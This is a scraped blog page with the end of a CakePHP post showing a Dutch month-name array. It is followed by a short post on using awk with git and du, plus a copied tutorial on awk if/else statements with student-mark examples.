<code class="plain spaces" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">[2] => maart</code></div>
<div class="line number11 index10 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain spaces" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">[3] => april</code></div>
<div class="line number12 index11 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain spaces" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">[4] => mei</code></div>
<div class="line number13 index12 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain spaces" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">[5] => juni</code></div>
<div class="line number14 index13 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain spaces" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">[6] => juli</code></div>
<div class="line number15 index14 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain spaces" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">[7] => augustus</code></div>
<div class="line number16 index15 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain spaces" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">[8] => september</code></div>
<div class="line number17 index16 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain spaces" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">[9] => oktober</code></div>
<div class="line number18 index17 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain spaces" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">[10] => november</code></div>
<div class="line number19 index18 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain spaces" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">[11] => december</code></div>
<div class="line number20 index19 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">)</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin-bottom: 1.6em; margin-top: 1.6em; padding: 0px; vertical-align: baseline; word-wrap: break-word;">
<em style="border: 0px; font-family: inherit; font-size: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Note:</strong> you might have spotted that the strftime() translation is not translated. This is intentional since I always stick to Cake methods. See the paragraph on strftime() if you do need to use that function.</em></div>
<div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin-bottom: 1.6em; margin-top: 1.6em; padding: 0px; vertical-align: baseline; word-wrap: break-word;">
Enjoy your time translations <img alt=";)" class="wp-smiley" src="http://www.bravo-kernel.com/wp-includes/images/smilies/icon_wink.gif" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; height: auto; line-height: inherit; margin: 0px; max-width: 100%; padding: 0px; vertical-align: middle;" /></div>
</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8669641153300129187.post-71403362295368336102013-04-10T16:53:00.002-07:002013-05-23T18:38:17.631-07:00cool awk<h2>
Awk is quite neat</h2>
<br />
I recently used it to checkout a bunch of files I modified by mistake.<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">git checkout * </span><br />
<br />
did't work because some files we're not in the index and Git complained.<br />
<br />
So I did<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">git st | awk '{if ($2=="modified:") {print $3} }' | xargs git co</span><br />
<br />
which was quite cool...<br />
<br />
<u>More on AWK</u><br />
<u><br /></u>
among infinite features, I just used 'match' to see if a string was inside another...<br />
<br />
in particular lines which have an M in the first column... (like to see file in the Megabytes range with du)<br />
<br />
du -h | awk '{ if (match($1, "M")) {print $2} }'<br />
<br />
<h2>
Here's a link which reminded me how to do the 'if's in awk... and other examples:</h2>
<br />
<a href="http://www.thegeekstuff.com/2010/02/awk-conditional-statements/">http://www.thegeekstuff.com/2010/02/awk-conditional-statements/</a><br />
<br />
<br />
4 Awk If Statement Examples ( if, if else, if else if, :? )<br />
by SASIKALA on FEBRUARY 17, 2010<br />
<br />
<br />
This article is part of the on-going Awk Tutorial Examples series. In our earlier awk articles, we discussed about awk print, awk user-defined variables, awk built-in variables, and awk operators.<br />
<br />
In this awk tutorial, let us review awk conditional if statements with practical examples.<br />
<br />
Awk supports lot of conditional statements to control the flow of the program. Most of the Awk conditional statement syntax are looks like ‘C’ programming language.<br />
<br />
Normally conditional statement checks the condition, before performing any action. If the condition is true action(s) are performed. Similarly action can be performed if the condition is false.<br />
<br />
Conditional statement starts with the keyword called ‘if’. Awk supports two different kind of if statement.<br />
<br />
Awk Simple If statement<br />
Awk If-Else statement<br />
Awk If-ElseIf-Ladder<br />
Awk Simple If Statement<br />
<br />
Single Action: Simple If statement is used to check the conditions, if the condition returns true, it performs its corresponding action(s).<br />
<br />
Syntax:<br />
if (conditional-expression)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>action<br />
if is a keyword<br />
conditional-expression – expression to check conditions<br />
action – any awk statement to perform action.<br />
Multiple Action: If the conditional expression returns true, then action will be performed. If more than one action needs to be performed, the actions should be enclosed in curly braces, separating them into a new line or semicolon as shown below.<br />
<br />
<br />
<br />
Syntax:<br />
if (conditional-expression)<br />
{<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>action1;<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>action2;<br />
}<br />
If the condition is true, all the actions enclosed in braces will be performed in the given order. After all the actions are performed it continues to execute the next statements.<br />
<br />
Awk If Else Statement<br />
<br />
In the above simple awk If statement, there is no set of actions in case if the condition is false. In the awk If Else statement you can give the list of action to perform if the condition is false. If the condition returns true action1 will be performed, if the condition is false action 2 will be performed.<br />
<br />
Syntax:<br />
if (conditional-expression)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>action1<br />
else<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>action2<br />
Awk also has conditional operator i.e ternary operator ( ?: ) whose feature is similar to the awk If Else Statement. If the conditional-expression is true, action1 will be performed and if the conditional-expression is false action2 will be performed.<br />
<br />
Syntax:<br />
<br />
conditional-expression ? action1 : action2 ;<br />
Awk If Else If ladder<br />
<br />
if(conditional-expression1)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>action1;<br />
else if(conditional-expression2)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>action2;<br />
else if(conditional-expression3)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>action3;<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>.<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>.<br />
else<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>action n;<br />
If the conditional-expression1 is true then action1 will be performed.<br />
If the conditional-expression1 is false then conditional-expression2 will be checked, if its true, action2 will be performed and goes on like this. Last else part will be performed if none of the conditional-expression is true.<br />
Now let us create the sample input file which has the student marks.<br />
<br />
$cat student-marks<br />
Jones 2143 78 84 77<br />
Gondrol 2321 56 58 45<br />
RinRao 2122 38 37<br />
Edwin 2537 87 97 95<br />
Dayan 2415 30 47<br />
1. Awk If Example: Check all the marks are exist<br />
<br />
$ awk '{<br />
if ($3 =="" || $4 == "" || $5 == "")<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>print "Some score for the student",$1,"is missing";'<br />
}' student-marks<br />
Some score for the student RinRao is missing<br />
Some score for the student Dayan is missing<br />
$3, $4 and $5 are test scores of the student. If test score is equal to empty, it throws the message. || operator is to check any one of marks is not exist, it should alert.<br />
<br />
2. Awk If Else Example: Generate Pass/Fail Report based on Student marks in each subject<br />
<br />
$ awk '{<br />
if ($3 >=35 && $4 >= 35 && $5 >= 35)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>print $0,"=>","Pass";<br />
else<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>print $0,"=>","Fail";<br />
}' student-marks<br />
Jones 2143 78 84 77 => Pass<br />
Gondrol 2321 56 58 45 => Pass<br />
RinRao 2122 38 37 => Fail<br />
Edwin 2537 87 97 95 => Pass<br />
Dayan 2415 30 47 => Fail<br />
The condition for Pass is all the test score mark should be greater than or equal to 35. So all the test scores are checked if greater than 35, then it prints the whole line and string “Pass”, else i.e even if any one of the test score doesn’t meet the condition, it prints the whole line and prints the string “Fail”.<br />
<br />
3. Awk If Else If Example: Find the average and grade for every student<br />
<br />
$ cat grade.awk<br />
{<br />
total=$3+$4+$5;<br />
avg=total/3;<br />
if ( avg >= 90 ) grade="A";<br />
else if ( avg >= 80) grade ="B";<br />
else if (avg >= 70) grade ="C";<br />
else grade="D";<br />
<br />
print $0,"=>",grade;<br />
}<br />
$ awk -f grade.awk student-marks<br />
Jones 2143 78 84 77 => C<br />
Gondrol 2321 56 58 45 => D<br />
RinRao 2122 38 37 => D<br />
Edwin 2537 87 97 95 => A<br />
Dayan 2415 30 47 => D<br />
In the above awk script, the variable called ‘avg’ has the average of the three test scores. If the average is greater than or equal to 90, then grade is A, or if the average is greater than or equal to 80 then grade is B, if the average is greater than or equal to 70, then the grade is C. Or else the grade is D.<br />
<br />
4. Awk Ternary ( ?: ) Example: Concatenate every 3 lines of input with a comma.<br />
<br />
$ awk 'ORS=NR%3?",":"\n"' student-marks<br />
Jones 2143 78 84 77,Gondrol 2321 56 58 45,RinRao 2122 38 37<br />
Edwin 2537 87 97 95,Dayan 2415 30 47,<br />
We discussed about awk ORS built-in variable earlier. This variable gets appended after every line that gets output. In this example, it gets changed on every 3rd line from a comma to a newline. For lines 1, 2 it’s a comma, for line 3 it’s a newline, for lines 4, 5 it’s a comma, for line 6 a newline, etc.Unknownnoreply@blogger.com1